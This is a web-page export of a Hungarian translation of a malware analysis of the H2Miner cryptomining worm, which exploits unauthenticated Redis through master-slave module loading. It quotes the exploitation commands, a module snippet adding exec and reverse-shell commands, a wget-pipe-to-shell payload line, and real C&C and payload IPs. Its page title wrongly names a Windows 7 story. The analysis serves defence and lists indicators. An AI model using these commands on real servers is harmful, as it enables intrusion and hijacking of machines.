{"id":55714,"date":"2020-01-27T00:00:00","date_gmt":"2020-01-26T21:00:00","guid":{"rendered":"https:\/\/prohoster.info\/blog\/blog_prohoster\/obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce"},"modified":"2020-02-18T14:03:51","modified_gmt":"2020-02-18T11:03:51","slug":"obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce","status":"publish","type":"post","link":"https:\/\/prohoster.info\/hu\/blog\/administrirovanie\/obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce","title":{"rendered":"A Microsoft ingyenes friss\u00edt\u00e9st ad ki a Windows 7-hez, annak ellen\u00e9re, hogy megsz\u0171nt a t\u00e1mogat\u00e1sa.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"<blockquote><p>Egy nappal ezel\u0151tt a projektem egyik szerver\u00e9t megt\u00e1madta egy hasonl\u00f3 f\u00e9reg. A \"mi volt ez?\" k\u00e9rd\u00e9sre keresve egy csod\u00e1latos cikket tal\u00e1ltam az Alibaba Cloud Security csapat\u00e1t\u00f3l. Mivel ezt a cikket nem tal\u00e1ltam a Habr-on, \u00fagy d\u00f6nt\u00f6ttem, hogy kifejezetten nektek leford\u00edtom &lt;3\n<\/p><\/blockquote>\n<h2>Bevezet\u00e9s<\/h2>\n<p>\nNemr\u00e9g az Alibaba Cloud biztons\u00e1gi csapata hirtelen H2Miner kit\u00f6r\u00e9st \u00e9szlelt. Ez a fajta k\u00e1rt\u00e9kony f\u00e9reg a Redis hiteles\u00edtetlens\u00e9g\u00e9t vagy gyenge jelszavait haszn\u00e1lja \u00e1tj\u00e1r\u00f3k\u00e9nt a rendszereidhez, majd a master-slave szinkroniz\u00e1l\u00e1s r\u00e9v\u00e9n szinkroniz\u00e1lja saj\u00e1t k\u00e1rt\u00e9kony modulj\u00e1t a slave-el, v\u00e9g\u00fcl ezt a k\u00e1rt\u00e9kony modult let\u00f6lti a megt\u00e1madott g\u00e9pre, \u00e9s v\u00e9grehajtja a k\u00e1ros utas\u00edt\u00e1sokat.<\/p>\n<p>A m\u00faltban a rendszereid ellen ir\u00e1nyul\u00f3 t\u00e1mad\u00e1sok jellemz\u0151en olyan m\u00f3dszerspecifik\u00e1ci\u00f3val zajlottak, amely \u00fctemezett feladatokat vagy SSH kulcsokat ig\u00e9nyelt, amiket a rosszindulat\u00fa felhaszn\u00e1l\u00f3k bejelentkez\u00e9se ut\u00e1n r\u00f6gz\u00edtettek a g\u00e9peden a Redis-en. Szerencs\u00e9re ezt a m\u00f3dszert ritk\u00e1n tudj\u00e1k haszn\u00e1lni a jogosults\u00e1gkezel\u00e9si probl\u00e9m\u00e1k vagy a k\u00fcl\u00f6nb\u00f6z\u0151 rendszerverzi\u00f3k miatt. Azonban ez a k\u00e1rt\u00e9kony modul let\u00f6lt\u00e9si m\u00f3dszer k\u00f6zvetlen\u00fcl v\u00e9grehajthatja a t\u00e1mad\u00f3 parancsait vagy hozz\u00e1f\u00e9rhet a shellhez, ami vesz\u00e9lyt jelent a rendszered sz\u00e1m\u00e1ra.<\/p>\n<p>A nagy sz\u00e1m\u00fa <a class=\"wpil_keyword_link\" href=\"https:\/\/prohoster.info\/hu\/server\/\"   title=\"szerverek\" data-wpil-keyword-link=\"linked\"  data-wpil-monitor-id=\"1464\">szerverek<\/a> interneten el\u00e9rhet\u0151 Redis (majdnem 1 milli\u00f3) miatt az Alibaba Cloud biztons\u00e1gi csapata, mint bar\u00e1ti eml\u00e9keztet\u0151t, azt javasolja a felhaszn\u00e1l\u00f3knak, hogy ne biztos\u00edtsanak hozz\u00e1f\u00e9r\u00e9st a Redis-hez a h\u00e1l\u00f3zaton kereszt\u00fcl, \u00e9s rendszeresen ellen\u0151rizz\u00e9k a jelszavaik megb\u00edzhat\u00f3s\u00e1g\u00e1t, valamint hogy ne legyenek k\u00f6nnyen kital\u00e1lhat\u00f3ak.<\/p>\n<h2>H2Miner<\/h2>\n<p>\nA H2Miner egy Linux alap\u00fa b\u00e1ny\u00e1sz\u00f3 botnet, amely t\u00f6bbf\u00e9lek\u00e9ppen is behatolhat a rendszeredbe, bele\u00e9rtve a Hadoop yarn nem hiteles\u00edt\u00e9s\u00e9t, a Docker-t, \u00e9s a Redis t\u00e1voli parancs v\u00e9grehajt\u00e1si (RCE) sebezhet\u0151s\u00e9g\u00e9t. A botnet \u00fagy m\u0171k\u00f6dik, hogy k\u00e1rt\u00e9kony szkripteket \u00e9s k\u00e1rt\u00e9kony programokat t\u00f6lt le az adataid b\u00e1ny\u00e1szat\u00e1hoz, a t\u00e1mad\u00e1s v\u00edzszintes terjeszt\u00e9s\u00e9re, \u00e9s a parancs-kontroll (C&amp;C) kapcsolat fenntart\u00e1s\u00e1ra.<br \/>\n<noindex><a rel=\"nofollow\" name=\"habracut\"><\/a><\/noindex><\/p>\n<h2>Redis RCE<\/h2>\n<p>\nEzt a t\u00e9m\u00e1t Pavel Toporkov osztotta meg a ZeroNights 2018-on. A 4.0-s verzi\u00f3 ut\u00e1n a Redis t\u00e1mogatja a k\u00fcls\u0151 modulok bet\u00f6lt\u00e9si funkci\u00f3j\u00e1t, amely lehet\u0151v\u00e9 teszi a felhaszn\u00e1l\u00f3k sz\u00e1m\u00e1ra, hogy so f\u00e1jlokat t\u00f6ltsenek be a Redis-be, amelyeket C nyelven ford\u00edtottak le bizonyos Redis parancsok v\u00e9grehajt\u00e1s\u00e1ra. Ez a funkci\u00f3 hasznos, de tartalmaz egy s\u00e9r\u00fcl\u00e9kenys\u00e9get, amely lehet\u0151v\u00e9 teszi, hogy master-slave m\u00f3dban a f\u00e1jlok a slave szerverre szinkroniz\u00e1l\u00f3djanak fullresync m\u00f3dban. Ezt a t\u00e1mad\u00f3k felhaszn\u00e1lhatj\u00e1k arra, hogy k\u00e1rt\u00e9kony so f\u00e1jlokat tov\u00e1bb\u00edtsanak. A f\u00e1jlok tov\u00e1bb\u00edt\u00e1sa ut\u00e1n a t\u00e1mad\u00f3k bet\u00f6ltik a modult a megt\u00e1madott Redis p\u00e9ld\u00e1nyra, \u00e9s b\u00e1rmilyen parancsot v\u00e9grehajtanak.<\/p>\n<h2>K\u00e1rt\u00e9kony f\u00e9reg elemz\u00e9se<\/h2>\n<p>\nNemr\u00e9g az Alibaba Cloud biztons\u00e1gi csapata felfedezte, hogy a H2Miner k\u00e1rt\u00e9kony b\u00e1ny\u00e1szok csoportj\u00e1nak m\u00e9rete hirtelen megn\u0151tt. Az elemz\u00e9s szerint a t\u00e1mad\u00e1s l\u00e9trej\u00f6tt\u00e9nek folyamata a k\u00f6vetkez\u0151k\u00e9ppen alakul:<\/p>\n<p><img decoding=\"async\" alt=\"A Microsoft ingyenes friss\u00edt\u00e9st ad ki a Windows 7-hez, annak ellen\u00e9re, hogy megsz\u0171nt a t\u00e1mogat\u00e1sa.\" src=\"\/wp-content\/uploads\/2020\/01\/e4e47a0ddb0bd9f8d97dd992f3349016.jpg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nA H2Miner RCE Redist haszn\u00e1l a teljes k\u00f6r\u0171 t\u00e1mad\u00e1shoz. El\u0151sz\u00f6r a t\u00e1mad\u00f3k a v\u00e9dtelen Redis szervereket vagy a gyenge jelszavakkal rendelkez\u0151 szervereket t\u00e1madj\u00e1k.<\/p>\n<p>Ezut\u00e1n haszn\u00e1lj\u00e1k a parancsot <code>config set dbfilename red2.so<\/code> a f\u00e1jlnev\u00e9nek megv\u00e1ltoztat\u00e1s\u00e1hoz. Ezt k\u00f6vet\u0151en a t\u00e1mad\u00f3k v\u00e9grehajtj\u00e1k a parancsot <code>slaveof<\/code> a master-slave replik\u00e1ci\u00f3s c\u00edm\u00e9nek be\u00e1ll\u00edt\u00e1s\u00e1hoz. <\/p>\n<p>Amikor a megt\u00e1madott Redis p\u00e9ld\u00e1ny l\u00e9trehoz egy master-slave kapcsolatot a t\u00e1mad\u00f3k \u00e1ltal birtokolt k\u00e1rt\u00e9kony Redis-szel, a t\u00e1mad\u00f3 a fullresync parancs seg\u00edts\u00e9g\u00e9vel elk\u00fcldi a fert\u0151z\u00f6tt modult a f\u00e1jlok szinkroniz\u00e1l\u00e1s\u00e1ra. Ezt k\u00f6vet\u0151en a red2.so f\u00e1jl a megt\u00e1madott g\u00e9pre ker\u00fcl. Ezt k\u00f6vet\u0151en a t\u00e1mad\u00f3k a .\\\/red2.so bet\u00f6lt\u0151 modul seg\u00edts\u00e9g\u00e9vel bet\u00f6ltik ezt a so f\u00e1jlt. A modul v\u00e9grehajthatja a t\u00e1mad\u00f3k parancsait, vagy visszacsatol\u00f3 kapcsolatot (h\u00e1ts\u00f3 ajt\u00f3t) ind\u00edthat, hogy hozz\u00e1f\u00e9r\u00e9st nyerjen a megt\u00e1madott g\u00e9phez.<\/p>\n<pre><code class=\"plaintext\">if (RedisModule_CreateCommand(ctx, \"system.exec\",\n        DoCommand, \"readonly\", 1, 1, 1) == REDISMODULE_ERR)\n        return REDISMODULE_ERR;\n      if (RedisModule_CreateCommand(ctx, \"system.rev\",\n        RevShellCommand, \"readonly\", 1, 1, 1) == REDISMODULE_ERR)\n        return REDISMODULE_ERR;\n<\/code><\/pre>\n<p>\nA k\u00e1rt\u00e9kony parancs, p\u00e9ld\u00e1ul <code>\/ bin \/ sh -c wget -q -O-http:\/\/195.3.146.118\/unk.sh | sh&gt; \/ dev \/ null 2&gt; &amp; 1<\/code>, ut\u00e1n a t\u00e1mad\u00f3 t\u00f6rli a biztons\u00e1gi m\u00e1solat f\u00e1jl nev\u00e9t, \u00e9s kil\u00e9pteti a rendszer modult, hogy elt\u00fcntesse a nyomokat. Mindazon\u00e1ltal a red2.so f\u00e1jl tov\u00e1bbra is a megt\u00e1madott g\u00e9pen marad. A felhaszn\u00e1l\u00f3k figyeljenek a gyan\u00fas f\u00e1jlokra a Redis p\u00e9ld\u00e1nyuk mapp\u00e1j\u00e1ban.<\/p>\n<p>A k\u00e1rt\u00e9kony programok er\u0151forr\u00e1sok eltulajdon\u00edt\u00e1sa mellett a t\u00e1mad\u00f3 k\u00e1rt\u00e9kony szkriptet hajtott v\u00e9gre, amely k\u00e1rt\u00e9kony f\u00e1jlokat t\u00f6lt\u00f6tt le \u00e9s futtatott bin\u00e1ris form\u00e1ban, hogy <noindex><a rel=\"nofollow\" href=\"http:\/\/142.44.191.122\/kinsing\">142.44.191.122\/kinsing<\/a><\/noindex>. Ez azt jelenti, hogy a folyamat neve vagy a kisk\u00f6nyvt\u00e1r neve, amely tartalmazza a kinsing-et a gazdag\u00e9pen, arra utalhat, hogy ez a g\u00e9p megfert\u0151z\u0151d\u00f6tt ezzel a v\u00edrussal.<\/p>\n<p>A ford\u00edtott tervez\u00e9s eredm\u00e9nyei szerint a k\u00e1rt\u00e9kony program f\u0151k\u00e9nt az al\u00e1bbi funkci\u00f3kat hajtja v\u00e9gre:<\/p>\n<ul>\n<li>F\u00e1jlok let\u00f6lt\u00e9se \u00e9s v\u00e9grehajt\u00e1sa<\/li>\n<li>B\u00e1ny\u00e1szat<\/li>\n<li>C&amp;C kapcsolattart\u00e1s \u00e9s a t\u00e1mad\u00f3 parancsainak v\u00e9grehajt\u00e1sa<\/li>\n<\/ul>\n<p>\n<img decoding=\"async\" alt=\"A Microsoft ingyenes friss\u00edt\u00e9st ad ki a Windows 7-hez, annak ellen\u00e9re, hogy megsz\u0171nt a t\u00e1mogat\u00e1sa.\" src=\"\/wp-content\/uploads\/2020\/01\/43229670fd28e4b7f1974aa3c36dc3ca.jpg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nHaszn\u00e1lja a masscan-t k\u00fcls\u0151 szkennel\u00e9shez a hat\u00f3k\u00f6r b\u0151v\u00edt\u00e9se \u00e9rdek\u00e9ben. Ezenk\u00edv\u00fcl a C&amp;C szerver IP-c\u00edme szigor\u00faan titkos\u00edtva van a programban, \u00e9s a megt\u00e1madott gazdag\u00e9p HTTP k\u00e9r\u00e9sekkel fog kommunik\u00e1lni a C&amp;C kommunik\u00e1ci\u00f3s szerverrel, ahol a zombik (megt\u00e1madott szerver) inform\u00e1ci\u00f3ja az HTTP fejl\u00e9cben van azonos\u00edtva.<\/p>\n<p><img decoding=\"async\" alt=\"A Microsoft ingyenes friss\u00edt\u00e9st ad ki a Windows 7-hez, annak ellen\u00e9re, hogy megsz\u0171nt a t\u00e1mogat\u00e1sa.\" src=\"\/wp-content\/uploads\/2020\/01\/111ba916fa76f45fe458622f260b1d8e.jpg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<\/p>\n<pre><code class=\"plaintext\">GET \/h HTTP\/1.1\nHost: 91.215.169.111\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/78.0.3904.108 Safari\/537.36\nArch: amd64\nCores: 2\nMem: 3944\nOs: linux\nOsname: debian\nOsversion: 10.0\nRoot: false\nS: k\nUuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx\nVersion: 26\nAccept-Encoding: gzip\n<\/code><\/pre>\n<p><\/p>\n<h2>A t\u00e1mad\u00e1sok tov\u00e1bbi m\u00f3dszerei<\/h2>\n<p>\n<img decoding=\"async\" alt=\"A Microsoft ingyenes friss\u00edt\u00e9st ad ki a Windows 7-hez, annak ellen\u00e9re, hogy megsz\u0171nt a t\u00e1mogat\u00e1sa.\" src=\"\/wp-content\/uploads\/2020\/01\/51c088251ac8fd71d229bfe96e239c29.jpg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<\/p>\n<h2>A f\u00e9reg \u00e1ltal haszn\u00e1lt c\u00edmek \u00e9s linkek<\/h2>\n<p>\n\/kinsing<\/p>\n<pre><code class=\"plaintext\">\u2022 142.44.191.122\/t.sh\n\u2022 185.92.74.42\/h.sh\n\u2022 142.44.191.122\/spr.sh\n\u2022 142.44.191.122\/spre.sh\n\u2022 195.3.146.118\/unk.sh\n<\/code><\/pre>\n<p>\nc&amp;c<\/p>\n<pre><code class=\"plaintext\">\u2022 45.10.88.102\n\u2022 91.215.169.111\n\u2022 139.99.50.255\n\u2022 46.243.253.167\n\u2022 195.123.220.193\n<\/code><\/pre>\n<p><\/p>\n<h2>Tipp<\/h2>\n<p>\nEl\u0151sz\u00f6r is, a Redis-nek nem szabad internetes hozz\u00e1f\u00e9r\u00e9ssel rendelkeznie, \u00e9s megb\u00edzhat\u00f3 jelsz\u00f3val kell v\u00e9dve lennie. Fontos az is, hogy az \u00fcgyfelek ellen\u0151rizz\u00e9k, hogy nincs red2.so f\u00e1jl a Redis k\u00f6nyvt\u00e1rban, \u00e9s hogy a kinsing ne szerepeljen a f\u00e1jlnev\u00e9ben \/ a folyamatban a gazdag\u00e9pen.<br \/>\n<br \/>Forr\u00e1s: <a content=\"nofollow\" rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/post\/485300\/\">habr.com<\/a><\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"<p>\u0414\u0435\u043d\u044c \u043d\u0430\u0437\u0430\u0434 \u043e\u0434\u0438\u043d \u0438\u0437 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u043c\u043e\u0435\u0433\u043e \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u0431\u044b\u043b \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u043d \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u043c \u0447\u0435\u0440\u0432\u0435\u043c. \u0412 \u043f\u043e\u0438\u0441\u043a\u0430\u0445 \u043e\u0442\u0432\u0435\u0442\u0430 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441 \u00ab\u0447\u0442\u043e \u0436\u0435 \u044d\u0442\u043e \u0431\u044b\u043b\u043e \u0442\u0430\u043a\u043e\u0435?\u00bb \u044f \u043d\u0430\u0448\u0435\u043b \u0437\u0430\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0441\u0442\u0430\u0442\u044c\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u044b Alibaba Cloud Security. \u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u044f \u043d\u0435 \u043d\u0430\u0448\u0435\u043b \u044d\u0442\u043e\u0442 \u0441\u0442\u0430\u0442\u044c\u0438 \u043d\u0430 \u0445\u0430\u0431\u0440\u0435, \u0442\u043e \u0440\u0435\u0448\u0438\u043b \u043f\u0435\u0440\u0435\u0432\u0435\u0441\u0442\u0438 \u0435\u0435 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0434\u043b\u044f \u0432\u0430\u0441 &lt;3 \u0412\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u0435 \u041d\u0435\u0434\u0430\u0432\u043d\u043e \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Alibaba Cloud \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u0432\u043d\u0435\u0437\u0430\u043f\u043d\u0443\u044e \u0432\u0441\u043f\u044b\u0448\u043a\u0443 H2Miner. [&hellip;]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[688],"tags":[],"class_list":["post-55714","post","type-post","status-publish","format-standard","hentry","category-administrirovanie"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.3 - aioseo.com -->\n\t<meta name=\"description\" content=\"\u0414\u0435\u043d\u044c \u043d\u0430\u0437\u0430\u0434 \u043e\u0434\u0438\u043d \u0438\u0437 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u043c\u043e\u0435\u0433\u043e \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u0431\u044b\u043b \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u043d \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u043c \u0447\u0435\u0440\u0432\u0435\u043c. \u0412 \u043f\u043e\u0438\u0441\u043a\u0430\u0445 \u043e\u0442\u0432\u0435\u0442\u0430 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441 \u00ab\u0447\u0442\u043e \u0436\u0435 \u044d\u0442\u043e \u0431\u044b\u043b\u043e \u0442\u0430\u043a\u043e\u0435?\u00bb \u044f \u043d\u0430\u0448\u0435\u043b \u0437\u0430\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0441\u0442\u0430\u0442\u044c\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u044b Alibaba Cloud Security.\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"Yuri Gagarin\"\/>\n\t<link rel=\"canonical\" href=\"https:\/\/prohoster.info\/hu\/blog\/administrirovanie\/obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce\" \/>\n\t\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 5.0.3\" \/>\n\t\t<meta property=\"og:locale\" content=\"hu_HU\" \/>\n\t\t<meta property=\"og:site_name\" content=\"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"\ud83e\udd47\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u043d\u043e\u0432\u0430\u044f \u0432\u0441\u043f\u044b\u0448\u043a\u0430 H2Miner \u0447\u0435\u0440\u0432\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 Redis RCE | ProHoster\" \/>\n\t\t<meta property=\"og:description\" content=\"\u0414\u0435\u043d\u044c \u043d\u0430\u0437\u0430\u0434 \u043e\u0434\u0438\u043d \u0438\u0437 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u043c\u043e\u0435\u0433\u043e \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u0431\u044b\u043b \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u043d \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u043c \u0447\u0435\u0440\u0432\u0435\u043c. \u0412 \u043f\u043e\u0438\u0441\u043a\u0430\u0445 \u043e\u0442\u0432\u0435\u0442\u0430 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441 \u00ab\u0447\u0442\u043e \u0436\u0435 \u044d\u0442\u043e \u0431\u044b\u043b\u043e \u0442\u0430\u043a\u043e\u0435?\u00bb \u044f \u043d\u0430\u0448\u0435\u043b \u0437\u0430\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0441\u0442\u0430\u0442\u044c\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u044b Alibaba Cloud Security.\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/prohoster.info\/hu\/blog\/administrirovanie\/obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce\" \/>\n\t\t<meta property=\"og:image\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:secure_url\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:width\" content=\"350\" \/>\n\t\t<meta property=\"og:image:height\" content=\"350\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2020-01-26T21:00:00+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2020-02-18T11:03:51+00:00\" \/>\n\t\t<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<meta property=\"article:author\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"\ud83e\udd47 \u00daj H2Miner f\u00e9rgek kit\u00f6r\u00e9s\u00e9t fedezt\u00e9k fel, amelyek a Redis RCE-t kihaszn\u00e1lj\u00e1k | ProHoster","description":"Egy nappal ezel\u0151tt a projekt egyik szerver\u00e9t egy hasonl\u00f3 f\u00e9reg t\u00e1madta meg. A v\u00e1lasz keres\u00e9s\u00e9ben a k\u00e9rd\u00e9sre: \"mi is t\u00f6rt\u00e9nt \u00e9ppen?\" egy kiv\u00e1l\u00f3 cikkre bukkantam az Alibaba Cloud Security csapat\u00e1t\u00f3l.","canonical_url":"https:\/\/prohoster.info\/hu\/blog\/administrirovanie\/obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"hu_HU","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u043d\u043e\u0432\u0430\u044f \u0432\u0441\u043f\u044b\u0448\u043a\u0430 H2Miner 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